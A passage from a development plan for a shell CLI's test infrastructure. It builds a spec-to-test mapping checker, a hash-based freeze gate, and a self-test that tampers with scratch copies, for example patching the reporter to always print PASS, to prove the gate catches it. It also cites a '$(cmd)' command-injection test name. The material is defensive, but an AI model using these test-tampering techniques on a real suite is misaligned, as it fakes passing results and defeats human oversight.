+so rename now, while the rename surface is declared zero. Bodies are +unchanged; they enumerate 0-8 and remain correct as a subset check." +``` + +--- + +**P0 exit gate.** Before starting P1, confirm all four mutation criteria: + +```bash +bash tests/mutate.sh none # FAILS=0 EXIT=0 RESULT_LINES=158 +bash tests/mutate.sh impl-prompt-return1 # FAILS=3 EXIT=1 RESULT_LINES=158 +bash tests/mutate.sh load-checkpoint-return1 # FAILS>=3 EXIT=1 +bash tests/mutate.sh impl-prompt-silent # FAILS>=2 EXIT=1 +bash tests/simple-test.sh # 158 passed, 0 failed, exit 0 +``` + +Plus the `mktemp` criterion, which is now assertion `harness: aborts when mktemp fails` inside the suite itself. + +--- + +# Phase P1 — Spec retrofit + +**Why:** 60 stories cover 4 modules, but those modules contain 96 test names — so ~36 assertions *inside the specced modules* have no story, and 61 more in unspecced modules have none either. The freeze in P2 keys every test to a story ID, so this must come first. Expect ~97 new stories plus reconciliation of the existing 60. **No file under `bin/` or `lib/` may be modified in this phase.** + +--- + +### Task 6: Build the name→story mapping checker + +**Files:** +- Create: `tests/spec-map.sh` +- Modify: `.github/workflows/ci.yml` (add `tests/spec-map.sh` to the shellcheck list) + +**Interfaces:** +- Consumes: `tests/simple-test.sh` (runtime names), `tests/BEHAVIOR-SPEC.md` (story IDs). +- Produces: `bash tests/spec-map.sh` exiting 0 only when every runtime test name maps to exactly one story ID, and printing unmapped names otherwise. Tasks 7-9 use it as their completion oracle; Task 10 consumes its output to build the lock. + +**Context:** Stories are linked to tests by a machine-readable annotation on the story heading. Source text and runtime text differ for 4 of 158 names (e.g. the source reads `test_result "impl prompt: neutralizes \$(cmd) in story title"` and renders at runtime as `... neutralizes $(cmd) ...`), so names must come from an actual run, never from scraping source. + +The annotation format added to `tests/BEHAVIOR-SPEC.md` is a `**Test:**` line immediately under each story heading: + +```markdown +### US-CFG-01: find_manifest — finds in current directory +**Test:** `find_manifest: finds manifest in current dir` +``` + +- [ ] **Step 1: Write the mapping checker** + +Create `tests/spec-map.sh`: + +```bash +#!/usr/bin/env bash +# Verify every runtime test name maps to exactly one BEHAVIOR-SPEC story. +# +# Usage: bash tests/spec-map.sh [--list] +# (no args) validate; exit 0 only if the mapping is total and unambiguous +# --list print "NAMESTORY" for every mapped name +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SPEC="$SCRIPT_DIR/BEHAVIOR-SPEC.md" +MODE="${1:-validate}" + +WORK=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$WORK" ] && [ -d "$WORK" ] || { echo "FATAL: bad WORK" >&2; exit 1; } +trap 'rm -rf "$WORK"' EXIT + +# Runtime names, from an actual run. Strip ANSI, match the three verdicts, +# split on the FIRST ": " only, drop the trailing " (reason)" from SKIP lines. +bash "$SCRIPT_DIR/simple-test.sh" 2>&1 \ + | sed 's/\x1b\[[0-9;]*m//g' \ + | grep -E '^(PASS|FAIL|SKIP): ' \ + | while IFS= read -r line; do + verdict="${line%%: *}" + name="${line#*: }" + [ "$verdict" = "SKIP" ] && name="${name% (*}" + printf '%s\n' "$name" + done | sort -u > "$WORK/runtime.txt" + +# Story -> test-name pairs, from the spec. +awk ' + /^### US-[A-Z]+-[0-9]+:/ { story = $2; sub(/:$/, "", story); next } + /^\*\*Test:\*\* / { + if (story == "") next + line = $0 + sub(/^\*\*Test:\*\* /, "", line) + gsub(/^`|`$/, "", line) + printf "%s\t%s\n", line, story + story = "" + } +' "$SPEC" | sort > "$WORK/mapped.txt" + +cut -f1 "$WORK/mapped.txt" | sort > "$WORK/mapped-names.txt" + +if [ "$MODE" = "--list" ]; then + cat "$WORK/mapped.txt" + exit 0 +fi + +rc=0 + +unmapped=$(comm -23 "$WORK/runtime.txt" "$WORK/mapped-names.txt") +if [ -n "$unmapped" ]; then + echo "UNMAPPED — these tests ran but have no story:" >&2 + printf '%s\n' "$unmapped" | sed 's/^/ /' >&2 + rc=1 +fi + +phantom=$(comm -13 "$WORK/runtime.txt" "$WORK/mapped-names.txt") +if [ -n "$phantom" ]; then + echo "PHANTOM — these stories name a test that did not run:" >&2 + printf '%s\n' "$phantom" | sed 's/^/ /' >&2 + rc=1 +fi + +dupes=$(cut -f1 "$WORK/mapped.txt" | uniq -d) +if [ -n "$dupes" ]; then + echo "AMBIGUOUS — these test names are claimed by more than one story:" >&2 + printf '%s\n' "$dupes" | sed 's/^/ /' >&2 + rc=1 +fi + +total=$(wc -l < "$WORK/runtime.txt" | tr -d ' ') +mapped=$(wc -l < "$WORK/mapped-names.txt" | tr -d ' ') +echo "spec-map: $mapped of $total runtime test names mapped" +exit "$rc" +``` + +- [ ] **Step 2: Run it to see the true size of the gap** + +Run: `bash tests/spec-map.sh; echo "EXIT=$?"` + +Expected: `EXIT=1`, with all 158 names listed as UNMAPPED — no story carries a `**Test:**` line yet. Record the count; it is the work Tasks 7-9 must close. + +- [ ] **Step 3: Annotate the existing 60 stories** + +For each of the 60 existing `### US-` headings in `tests/BEHAVIOR-SPEC.md`, add a `**Test:**` line naming the runtime test it describes. Work module by module using the runtime list. Example — `tests/BEHAVIOR-SPEC.md` currently reads: + +```markdown +### US-CFG-01: find_manifest — finds in current directory +**As** a CLI user, +**When** I run from a directory containing `reqdrive.json`, +**Then** `reqdrive_find_manifest` returns the full path to that file. +``` + +It becomes: + +```markdown +### US-CFG-01: find_manifest — finds in current directory +**Test:** `find_manifest: finds manifest in current dir` + +**As** a CLI user, +**When** I run from a directory containing `reqdrive.json`, +**Then** `reqdrive_find_manifest` returns the full path to that file. +``` + +Where one existing story covers several runtime tests — `US-SAN-14` describes ten dangerous patterns tested by several assertions — **split it into one story per test**. One story, one test, one criterion. That is what makes the mapping total. + +- [ ] **Step 4: Re-run the checker** + +Run: `bash tests/spec-map.sh` + +Expected: the mapped count rises to roughly 96 (the four specced modules), and the remaining ~62 names still list as UNMAPPED. No PHANTOM and no AMBIGUOUS entries — if any appear, a `**Test:**` line has a typo or two stories claim one test. + +- [ ] **Step 5: Add to lint list and commit** + +In `.github/workflows/ci.yml` line 29: + +```yaml + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh +``` + +```bash +bash -n tests/spec-map.sh +shellcheck tests/spec-map.sh +bash tests/simple-test.sh +git add tests/spec-map.sh tests/BEHAVIOR-SPEC.md .github/workflows/ci.yml +git commit -m "test: add spec-map checker, annotate the existing 60 stories + +Every story now names the runtime test that proves it. Names come +from an actual run because source and runtime text differ for 4 of +158 assertions. Stories covering several tests were split so the +mapping is one story, one test, one criterion." +``` + +--- + +### Task 7: Write stories for the `run.sh`-adjacent assertions + +**Files:** +- Modify: `tests/BEHAVIOR-SPEC.md` (new section: Module 5 — run.sh) + +**Interfaces:** +- Consumes: `bash tests/spec-map.sh` from Task 6. +- Produces: ~30 stories with IDs `US-RUN-01`…`US-RUN-30`. + +**Context:** These 30 assertions cover run-state writing, checkpoint save/load, story selection, prompt builders, the completion hook, iteration-summary extraction, the run summary, and the review phase. They currently prove behavior nobody wrote down. + +- [ ] **Step 1: List exactly which names still need stories** + +Run: `bash tests/spec-map.sh 2>&1 | sed -n '/^UNMAPPED/,/^PHANTOM\|^spec-map/p'` + +Work only the names in the run-state, checkpoint, story-selection, prompt-builder, completion-hook, iteration-summary, run-summary and review groups. + +- [ ] **Step 2: Add the module section using this exact form** + +Append to `tests/BEHAVIOR-SPEC.md`: + +```markdown +--- + +## Module 5: run.sh + +### US-RUN-01: write_run_status — creates valid run.json +**Test:** `run_status: creates valid run.json` + +**As** a pipeline runner, +**When** I call `write_run_status` with a run directory, status, req ID and iteration, +**Then** `run.json` exists in that directory and parses as valid JSON. + +### US-RUN-02: write_run_status — records the PID +**Test:** `run_status: run.json includes pid` + +**As** a status reporter, +**When** `write_run_status` writes `run.json`, +**Then** the `pid` field holds the writing process's PID, so `reqdrive status` can test liveness. +``` + +Continue in that shape for every remaining name in this group. Each story must have exactly one `**Test:**` line, and its **Then** clause must state a pass/fail condition — not "works correctly". If a test name does not suggest a binary condition, read the assertion body and write what it actually checks. + +- [ ] **Step 3: Verify progress** + +Run: `bash tests/spec-map.sh` + +Expected: mapped count rises by ~30; no PHANTOM, no AMBIGUOUS. + +- [ ] **Step 4: Commit** + +```bash +git add tests/BEHAVIOR-SPEC.md +git commit -m "docs(spec): add Module 5 behavior stories for run.sh + +30 assertions covering run state, checkpoints, story selection, +prompt builders, the completion hook and the review phase had tests +but no written criterion." +``` + +--- + +### Task 8: Write stories for the CLI assertions + +**Files:** +- Modify: `tests/BEHAVIOR-SPEC.md` (new section: Module 6 — bin/reqdrive) + +**Interfaces:** +- Consumes: `bash tests/spec-map.sh`. +- Produces: ~13 stories with IDs `US-CLI-01`…`US-CLI-13`. + +**Context:** Two of these — `cli: run requires REQ-ID argument` and `cli: plan without args shows usage` — are gated on the `claude` binary. They run as `test_result` where `claude` is installed and as `test_skip` under the *same name* where it is not. Their stories must say so, because Task 11's gate exempts exactly those two from the SKIP rule. + +- [ ] **Step 1: List the CLI names still needing stories** + +Run: `bash tests/spec-map.sh 2>&1 | grep '^ cli:'` + +- [ ] **Step 2: Add the module section** + +```markdown +--- + +## Module 6: bin/reqdrive (CLI) + +### US-CLI-01: Unknown command is rejected +**Test:** `cli: unknown command exits non-zero` + +**As** a CLI user, +**When** I run `reqdrive frobnicate`, +**Then** the process exits with `EXIT_GENERAL_ERROR` (1) and prints `Unknown command: frobnicate` to stderr. + +### US-CLI-02: run requires a REQ-ID +**Test:** `cli: run requires REQ-ID argument` +**Environment:** requires the `claude` binary; skipped under the same test name when absent. + +**As** a CLI user, +**When** I run `reqdrive run` with no argument, +**Then** usage text matching `Usage: reqdrive run` is printed and the process exits non-zero. +``` + +Continue for every remaining CLI name. Add the `**Environment:**` line to exactly the two `claude`-gated stories. + +- [ ] **Step 3: Verify** + +Run: `bash tests/spec-map.sh` + +Expected: mapped count rises by ~13. + +- [ ] **Step 4: Commit** + +```bash +git add tests/BEHAVIOR-SPEC.md +git commit -m "docs(spec): add Module 6 behavior stories for the CLI + +Marks the two claude-gated stories explicitly — they run as +test_result where claude is installed and as test_skip under the +same name where it is not." +``` + +--- + +### Task 9: Write stories for preflight, pr-create, init and review + +**Files:** +- Modify: `tests/BEHAVIOR-SPEC.md` (new sections: Modules 7-10) + +**Interfaces:** +- Consumes: `bash tests/spec-map.sh`. +- Produces: ~18 stories (`US-PRE-*`, `US-PR-*`, `US-INIT-*`, `US-REV-*`). After this task the mapping is **total** — that is P1's exit gate. + +- [ ] **Step 1: List what remains** + +Run: `bash tests/spec-map.sh 2>&1 | sed -n '/^UNMAPPED/,/^spec-map/p'` + +- [ ] **Step 2: Add the four module sections** + +Follow the exact shape used in Tasks 7 and 8. Module headings: `## Module 7: preflight.sh`, `## Module 8: pr-create.sh`, `## Module 9: init.sh`, `## Module 10: review phase`. Story ID prefixes `US-PRE`, `US-PR`, `US-INIT`, `US-REV`. Also cover the harness-safety assertion added in Task 1 — put it under a `## Module 11: test harness` section with ID `US-HARN-01`: + +```markdown +--- + +## Module 11: test harness + +### US-HARN-01: Suite refuses to run when mktemp fails +**Test:** `harness: aborts when mktemp fails` + +**As** a test runner, +**When** `mktemp -d` fails and the suite is invoked, +**Then** it prints `FATAL: mktemp failed` and exits non-zero before any assertion runs, so no assertion can operate on an empty `TEST_TEMP`. +``` + +- [ ] **Step 3: Verify the mapping is total — this is the phase gate** + +Run: `bash tests/spec-map.sh; echo "EXIT=$?"` + +Expected: +``` +spec-map: 158 of 158 runtime test names mapped +EXIT=0 +``` + +No UNMAPPED, no PHANTOM, no AMBIGUOUS. + +- [ ] **Step 4: Confirm no source was touched in this phase** + +Run: `git diff --name-only 172d1e3..HEAD -- bin lib` + +Expected: empty output. P1 is documentation only. + +- [ ] **Step 5: Reproduce the pure-negative count for the findings register** + +Run: +```bash +awk '/^ *\($/{buf=""; inb=1; next} /^ *\)$/{if(inb){print buf}; inb=0; next} inb{buf=$0}' tests/simple-test.sh \ + | grep -cE '^\s*(!|\[ -z )' +``` + +Update `tests/FINDINGS.md` finding **F4** with the number this produces, replacing "~21 … Exact count to be reproduced during P1" with the measured value and the command used. + +- [ ] **Step 6: Commit** + +```bash +bash tests/simple-test.sh +git add tests/BEHAVIOR-SPEC.md tests/FINDINGS.md +git commit -m "docs(spec): complete behavior spec — all 158 tests mapped + +Modules 7-11 close the gap. spec-map.sh now exits 0: every runtime +test name maps to exactly one story, with no phantom or ambiguous +entries. F4's pure-negative count is now measured, not estimated." +``` + +--- + +# Phase P2 — Freeze the oracle + +**Why:** A green suite is only evidence if it cannot be silently weakened. DOCTRINE B2 requires content-hashing the test set; B3 requires that a branch may add tests but never weaken a baseline. + +**Design note carried from the spec:** the freeze is a **whole-file hash** of `tests/simple-test.sh` plus `tests/oracle-gate.sh` — not per-test body hashes, not append-only lock diffs, not base-ref CI execution. Those three lose to a six-line edit of `test_result`, which sits outside every subshell and therefore outside every body hash: with all of `lib/*.sh` emptied and the reporter patched to print PASS unconditionally, every name-and-body rule stays green. One file hash covers the reporter, the bodies, the names and the trailer, needs no git remote, and behaves identically on a laptop and in CI. + +--- + +### Task 10: Build the gate's parser and lock generator + +**Files:** +- Create: `tests/oracle-gate.sh` +- Create: `tests/oracle.lock.json` (generated) +- Modify: `.github/workflows/ci.yml` (shellcheck list) + +**Interfaces:** +- Consumes: `tests/spec-map.sh --list` from Task 6, which prints `NAMESTORY`. +- Produces: `bash tests/oracle-gate.sh --accept` writing `tests/oracle.lock.json`; and the parsing functions `strip_ansi`, `parse_results`, `hash_file` used by Task 11's rules. + +- [ ] **Step 1: Write the parser and generator** + +Create `tests/oracle-gate.sh`: + +```bash +#!/usr/bin/env bash +# Freeze gate — DOCTRINE B2/B3. +# +# Usage: +# bash tests/oracle-gate.sh enforce the lock +# bash tests/oracle-gate.sh --accept regenerate the lock (deliberate human act) +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SUITE="$SCRIPT_DIR/simple-test.sh" +GATE="$SCRIPT_DIR/oracle-gate.sh" +LOCK="$SCRIPT_DIR/oracle.lock.json" +MODE="${1:-enforce}" + +command -v jq >/dev/null || { echo "FATAL: jq required" >&2; exit 1; } +command -v sha256sum >/dev/null || { echo "FATAL: sha256sum required" >&2; exit 1; } + +WORK=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$WORK" ] && [ -d "$WORK" ] || { echo "FATAL: bad WORK" >&2; exit 1; } +trap 'rm -rf "$WORK"' EXIT + +hash_file() { sha256sum "$1" | cut -d' ' -f1; } + +strip_ansi() { sed 's/\x1b\[[0-9;]*m//g'; } + +# Emit "VERDICTNAME" for every result line. +# Split on the FIRST ": " only — 158 of 158 names contain ": " themselves, +# so cut -d: would truncate every one. +parse_results() { + grep -E '^(PASS|FAIL|SKIP): ' | while IFS= read -r line; do + verdict="${line%%: *}" + name="${line#*: }" + [ "$verdict" = "SKIP" ] && name="${name% (*}" + printf '%s\t%s\n' "$verdict" "$name" + done +} + +# Run the suite once; keep both the output and the exit code. +bash "$SUITE" > "$WORK/raw.txt" 2>&1 +SUITE_RC=$? +strip_ansi < "$WORK/raw.txt" | parse_results > "$WORK/results.tsv" +cut -f2 "$WORK/results.tsv" | sort > "$WORK/ran.txt" + +if [ "$MODE" = "--accept" ]; then + bash "$SCRIPT_DIR/spec-map.sh" >/dev/null || { + echo "FATAL: spec-map is not total; every test needs a story before locking" >&2 + exit 1 + } + bash "$SCRIPT_DIR/spec-map.sh" --list | sort > "$WORK/map.tsv" + + jq -Rn \ + --arg suite "$(hash_file "$SUITE")" \ + --arg gate "$(hash_file "$GATE")" \ + --arg generated "$(date +%Y-%m-%d)" \ + --arg claude "$(command -v claude >/dev/null && echo true || echo false)" \ + --rawfile map "$WORK/map.tsv" ' + { + version: "0.3.0", + generated: $generated, + environment: { claude: ($claude == "true") }, + suiteSha256: $suite, + gateSha256: $gate, + tests: ($map | rtrimstr("\n") | split("\n") | map( + (split("\t")) as $p | { name: $p[0], story: $p[1] } + )) + }' > "$LOCK" + + # The two claude-gated tests are the only conditional entries. + jq '(.tests[] | select(.name == "cli: run requires REQ-ID argument" or + .name == "cli: plan without args shows usage")) + |= . + { conditional: "claude" }' "$LOCK" > "$LOCK.tmp" && mv "$LOCK.tmp" "$LOCK" + + echo "Lock regenerated: $(jq '.tests | length' "$LOCK") tests" + echo " suiteSha256 $(jq -r .suiteSha256 "$LOCK")" + echo " gateSha256 $(jq -r .gateSha256 "$LOCK")" + exit 0 +fi + +echo "oracle-gate: parsed $(wc -l < "$WORK/results.tsv" | tr -d ' ') result lines, suite exit $SUITE_RC" +``` + +- [ ] **Step 2: Generate the lock** + +Run: `bash tests/oracle-gate.sh --accept` + +Expected: +``` +Lock regenerated: 158 tests + suiteSha256 <64 hex chars> + gateSha256 <64 hex chars> +``` + +- [ ] **Step 3: Verify the lock's shape** + +Run: +```bash +jq '.tests | length' tests/oracle.lock.json +jq '[.tests[] | select(.conditional)] | length' tests/oracle.lock.json +jq -r '.tests[0]' tests/oracle.lock.json +jq -e '[.tests[] | select(.story == null)] | length == 0' tests/oracle.lock.json +``` + +Expected: `158`, `2`, a well-formed first entry with `name` and `story`, and `true` for the no-null-story check. + +- [ ] **Step 4: Commit** + +```bash +bash -n tests/oracle-gate.sh +shellcheck tests/oracle-gate.sh +git add tests/oracle-gate.sh tests/oracle.lock.json .github/workflows/ci.yml +git commit -m "test: add oracle gate parser and lock generator + +Runtime names come from a real suite run; the parser strips ANSI and +splits on the first ': ' only, because all 158 names contain ': ' +themselves. Integrity comes from whole-file hashes of the suite and +the gate." +``` + +Also add `tests/oracle-gate.sh` to the shellcheck list in `.github/workflows/ci.yml` line 29 as part of this commit. + +--- + +### Task 11: Implement the gate rules + +**Files:** +- Modify: `tests/oracle-gate.sh` + +**Interfaces:** +- Consumes: `tests/oracle.lock.json`, the parser from Task 10. +- Produces: `bash tests/oracle-gate.sh` exiting 0 on an unmodified tree and non-zero with a named rule on any violation. + +**Context — rules in strict precedence order.** Precedence matters because the suite's last command is `[ "$FAIL" -eq 0 ]`, so after P0 *any* FAIL makes the suite exit non-zero. Without precedence, an exit-code-based truncation rule would re-label every weakening as truncation — re-conflating the two signals P0 exists to separate. + +| Rule | Condition | Verdict | +|---|---|---| +| R7 | `suiteSha256` or `gateSha256` mismatch | `NEEDS_HUMAN` | +| R2 | A locked name reported `FAIL` | Baseline weakened | +| R3 | A locked name reported `SKIP` | Silent weakening — exempted when its `conditional` is unmet | +| R6 | A result name is absent from the lock | `NEEDS_HUMAN` — register it with `--accept` | +| R1 | A locked name absent from output | Renamed or deleted (diagnostic) | +| R0 | Result count < `len(tests)` **and** no FAIL parsed | `SUITE_TRUNCATED` | + +- [ ] **Step 1: Replace the final `echo` line in `tests/oracle-gate.sh` with the rules** + +```bash +[ -f "$LOCK" ] || { echo "FATAL: no lock at $LOCK — run --accept first" >&2; exit 1; } + +jq -r '.tests[].name' "$LOCK" | sort > "$WORK/locked.txt" +LOCK_COUNT=$(jq '.tests | length' "$LOCK") +RAN_COUNT=$(wc -l < "$WORK/ran.txt" | tr -d ' ') +FAIL_COUNT=$(awk -F'\t' '$1=="FAIL"' "$WORK/results.tsv" | wc -l | tr -d ' ') + +fail() { echo "GATE FAIL [$1] $2" >&2; VERDICT=1; } +VERDICT=0 + +# ── R7: file integrity ────────────────────────────────────────────────── +locked_suite=$(jq -r .suiteSha256 "$LOCK") +locked_gate=$(jq -r .gateSha256 "$LOCK") +actual_suite=$(hash_file "$SUITE") +actual_gate=$(hash_file "$GATE") +if [ "$locked_suite" != "$actual_suite" ]; then + fail R7 "NEEDS_HUMAN: tests/simple-test.sh changed (locked $locked_suite, actual $actual_suite). Review the diff, then re-lock with --accept." +fi +if [ "$locked_gate" != "$actual_gate" ]; then + fail R7 "NEEDS_HUMAN: tests/oracle-gate.sh changed (locked $locked_gate, actual $actual_gate). Review the diff, then re-lock with --accept." +fi + +# ── R2: a locked test reported FAIL ───────────────────────────────────── +while IFS=$'\t' read -r verdict name; do + [ "$verdict" = "FAIL" ] || continue + if grep -qxF "$name" "$WORK/locked.txt"; then + fail R2 "baseline weakened: '$name' FAILED" + fi +done < "$WORK/results.tsv" + +# ── R3: a locked test reported SKIP (conditional entries exempted) ─────── +while IFS=$'\t' read -r verdict name; do + [ "$verdict" = "SKIP" ] || continue + grep -qxF "$name" "$WORK/locked.txt" || continue + cond=$(jq -r --arg n "$name" '.tests[] | select(.name == $n) | .conditional // ""' "$LOCK") + case "$cond" in + "") + fail R3 "silent weakening: '$name' SKIPPED and is not conditional" + ;; + claude) + if command -v claude >/dev/null; then + fail R3 "'$name' SKIPPED but its condition (claude) is met" + fi + ;; + *) + fail R3 "unknown conditional '$cond' on '$name' — the enum is {claude}" + ;; + esac +done < "$WORK/results.tsv" + +# ── R6: a test ran that the lock does not know about ──────────────────── +unregistered=$(comm -23 "$WORK/ran.txt" "$WORK/locked.txt") +if [ -n "$unregistered" ]; then + fail R6 "NEEDS_HUMAN: unregistered tests ran; add them with --accept:" + printf '%s\n' "$unregistered" | sed 's/^/ /' >&2 +fi + +# ── R1: a locked test did not run (diagnostic) ────────────────────────── +missing=$(comm -13 "$WORK/ran.txt" "$WORK/locked.txt") +if [ -n "$missing" ]; then + fail R1 "locked tests did not run (renamed or deleted):" + printf '%s\n' "$missing" | sed 's/^/ /' >&2 +fi + +# ── R0: truncation, only when nothing failed ──────────────────────────── +if [ "$RAN_COUNT" -lt "$LOCK_COUNT" ] && [ "$FAIL_COUNT" -eq 0 ]; then + fail R0 "SUITE_TRUNCATED: $RAN_COUNT of $LOCK_COUNT results emitted, no FAIL parsed" +fi + +if [ "$VERDICT" -eq 0 ]; then + echo "oracle-gate: OK — $RAN_COUNT/$LOCK_COUNT locked tests ran, suite exit $SUITE_RC" +fi +exit "$VERDICT" +``` + +- [ ] **Step 2: Re-lock, because the gate hashed itself before these rules existed** + +Run: `bash tests/oracle-gate.sh --accept` + +Expected: `Lock regenerated: 158 tests` with a new `gateSha256`. + +- [ ] **Step 3: Run the gate on a clean tree** + +Run: `bash tests/oracle-gate.sh; echo "EXIT=$?"` + +Expected: +``` +oracle-gate: OK — 158/158 locked tests ran, suite exit 0 +EXIT=0 +``` + +- [ ] **Step 4: Commit** + +```bash +bash -n tests/oracle-gate.sh +shellcheck tests/oracle-gate.sh +git add tests/oracle-gate.sh tests/oracle.lock.json +git commit -m "test: implement freeze gate rules R7/R2/R3/R6/R1/R0 + +Strict precedence: after P0 any FAIL makes the suite exit non-zero, +so a truncation rule keyed on the exit code would re-label every +weakening as truncation. R0 therefore fires only when the result +count is short AND no FAIL was parsed. + +conditional is a closed enum of one member (claude); an unrecognized +value hard-fails rather than exempting, so it cannot be used as a +one-word kill switch." +``` + +--- + +### Task 12: Prove every gate rule actually fires + +**Files:** +- Create: `tests/gate-selftest.sh` +- Modify: `.github/workflows/ci.yml` (shellcheck list) + +**Interfaces:** +- Consumes: `tests/oracle-gate.sh`, `tests/oracle.lock.json`. +- Produces: `bash tests/gate-selftest.sh` exiting 0 only when each of R7, R2, R6, R0 has been demonstrated to fire on a scratch copy. + +**Context:** A gate nobody has seen fire is a gate nobody knows works. Each rule gets a scratch copy of the repo, one targeted violation, and an assertion that the gate names that rule. **After this task, changing any test name is a `NEEDS_HUMAN` event** — R7 will fire on any edit to `tests/simple-test.sh`. + +- [ ] **Step 1: Write the self-test** + +Create `tests/gate-selftest.sh`: + +```bash +#!/usr/bin/env bash +# Demonstrate that each freeze-gate rule fires. Operates on scratch copies; +# the working tree is never modified. +set -uo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +PASSED=0; FAILED=0 + +scratch() { + local d + d=$(mktemp -d) || return 1 + (cd "$PROJECT_ROOT" && git ls-files -z | tar --null -T - -cf -) | (cd "$d" && tar -xf -) + printf '%s\n' "$d" +} + +# expect_rule +expect_rule() { + local rule="$1" desc="$2" mutate="$3" dir out rc + dir=$(scratch) || { echo "FAIL: $desc (scratch failed)"; FAILED=$((FAILED+1)); return; } + "$mutate" "$dir" + out=$(cd "$dir" && bash tests/oracle-gate.sh 2>&1); rc=$? + rm -rf "$dir" + if [ "$rc" -ne 0 ] && printf '%s' "$out" | grep -q "GATE FAIL \[$rule\]"; then + echo "PASS: $rule fires — $desc"; PASSED=$((PASSED+1)) + else + echo "FAIL: $rule did not fire — $desc (exit $rc)" + printf '%s\n' "$out" | sed 's/^/ /' + FAILED=$((FAILED+1)) + fi +} + +mut_r7_reporter() { + # The attack a per-body hash misses: patch the reporter, leave every body intact. + sed -i 's| if \[ "\$status" -eq 0 \]; then| if true; then|' "$1/tests/simple-test.sh" +} +mut_r7_body() { + sed -i '0,/^ set -e$/s/^ set -e$/ set -e\n true/' "$1/tests/simple-test.sh" +} +mut_r2_fail() { + # Break a library function so a locked test genuinely fails, then re-lock + # the suite hash so R7 does not mask R2. + sed -i 's|^load_checkpoint() {|load_checkpoint() {\n return 1|' "$1/lib/run.sh" + (cd "$1" && bash tests/oracle-gate.sh --accept >/dev/null 2>&1) +} +mut_r6_unregistered() { + cat >> "$1/tests/simple-test.sh" <<'EOF' + +( + set -e + true +) +test_result "selftest: an unregistered assertion" $? +EOF + # Re-lock only the file hashes, not the test list, to isolate R6 from R7. + (cd "$1" && jq --arg s "$(sha256sum tests/simple-test.sh | cut -d' ' -f1)" \ + '.suiteSha256 = $s' tests/oracle.lock.json > /tmp/l.json && mv /tmp/l.json tests/oracle.lock.json) +} +mut_r0_truncate() { + # Add a locked-but-unrunnable tail: exit early so later results never print. + sed -i '60i exit 0' "$1/tests/simple-test.sh" + (cd "$1" && jq --arg s "$(sha256sum tests/simple-test.sh | cut -d' ' -f1)" \ + '.suiteSha256 = $s' tests/oracle.lock.json > /tmp/l.json && mv /tmp/l.json tests/oracle.lock.json) +} + +echo "=== oracle-gate self-test ===" +expect_rule R7 "reporter patched to always PASS" mut_r7_reporter +expect_rule R7 "an assertion body edited" mut_r7_body +expect_rule R2 "a locked test genuinely fails" mut_r2_fail +expect_rule R6 "an unregistered assertion ran" mut_r6_unregistered +expect_rule R0 "the suite exits before emitting results" mut_r0_truncate + +echo "=== $PASSED passed, $FAILED failed ===" +[ "$FAILED" -eq 0 ] +``` + +- [ ] **Step 2: Run the self-test** + +Run: `bash tests/gate-selftest.sh; echo "EXIT=$?"` + +Expected: +``` +PASS: R7 fires — reporter patched to always PASS +PASS: R7 fires — an assertion body edited +PASS: R2 fires — a locked test genuinely fails +PASS: R6 fires — an unregistered assertion ran +PASS: R0 fires — the suite exits before emitting results +=== 5 passed, 0 failed === +EXIT=0 +``` + +If R2 does not fire, check that `mut_r2_fail`'s `--accept` re-lock succeeded — `--accept` refuses when `spec-map` is not total, and the mutated tree's suite still maps fine, so a refusal means something else broke. + +- [ ] **Step 3: Confirm the working tree is untouched** + +Run: `git status --short` + +Expected: only the new `tests/gate-selftest.sh` as untracked. No modification to `tests/simple-test.sh` or `tests/oracle.lock.json`. + +- [ ] **Step 4: Commit** + +```bash +bash -n tests/gate-selftest.sh +shellcheck tests/gate-selftest.sh +bash tests/oracle-gate.sh +git add tests/gate-selftest.sh .github/workflows/ci.yml +git commit -m "test: demonstrate every freeze-gate rule fires + +The R7 reporter case is the one that matters: all lib/*.sh emptied +and test_result patched to print PASS unconditionally leaves every +assertion body byte-identical, which is why a per-body hash was not +enough and the freeze is a whole-file hash." +``` + +Add `tests/gate-selftest.sh` to the shellcheck list in `.github/workflows/ci.yml` line 29 in this same commit. + +--- + +### Task 13: Wire the gate into CI + +**Files:** +- Modify: `.github/workflows/ci.yml` + +**Interfaces:** +- Consumes: `tests/oracle-gate.sh`, `tests/gate-selftest.sh`. +- Produces: a CI job that fails the build on any freeze violation. **From here on, every commit must leave `bash tests/oracle-gate.sh` exiting 0.** + +- [ ] **Step 1: Add the job** + +Append to `.github/workflows/ci.yml`: + +```yaml + oracle-gate: + name: Freeze gate + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Enforce the frozen oracle + run: bash tests/oracle-gate.sh + + - name: Prove the gate rules fire + run: bash tests/gate-selftest.sh +``` + +No `fetch-depth` is needed: the gate compares file hashes against the lock in the same tree and never consults a remote or a merge base. + +- [ ] **Step 2: Verify the whole CI surface locally** + +Run: +```bash +for f in bin/reqdrive lib/*.sh install.sh tests/simple-test.sh tests/run-tests.sh \ + tests/mutate.sh tests/spec-map.sh tests/oracle-gate.sh tests/gate-selftest.sh; do + bash -n "$f" || echo "SYNTAX FAIL: $f" + shellcheck "$f" || echo "LINT FAIL: $f" +done +bash tests/simple-test.sh > /dev/null && echo "suite OK" +bash tests/oracle-gate.sh +``` + +Expected: no `SYNTAX FAIL` or `LINT FAIL` lines, `suite OK`, and `oracle-gate: OK — 158/158`. + +- [ ] **Step 3: Confirm the gate runs where `claude` is absent** + +Run: `PATH=$(echo "$PATH" | tr ':' '\n' | grep -v 'npm' | paste -sd: -) bash tests/oracle-gate.sh; echo "EXIT=$?"` + +Expected: `EXIT=0`. The two `claude`-gated tests now emit `SKIP` under their locked names, and R3 exempts them because their `conditional` is `claude` and the condition is unmet. This is the CI configuration, so it must be green here. + +- [ ] **Step 4: Commit** + +```bash +git add .github/workflows/ci.yml +git commit -m "ci: enforce the freeze gate and prove its rules fire + +The gate needs no fetch-depth and no base-ref checkout — it compares +file hashes against the lock in the same tree, so it behaves +identically on a laptop with no remote and in CI." +``` + +--- + +**P2 exit gate.** Before starting P3: + +```bash +bash 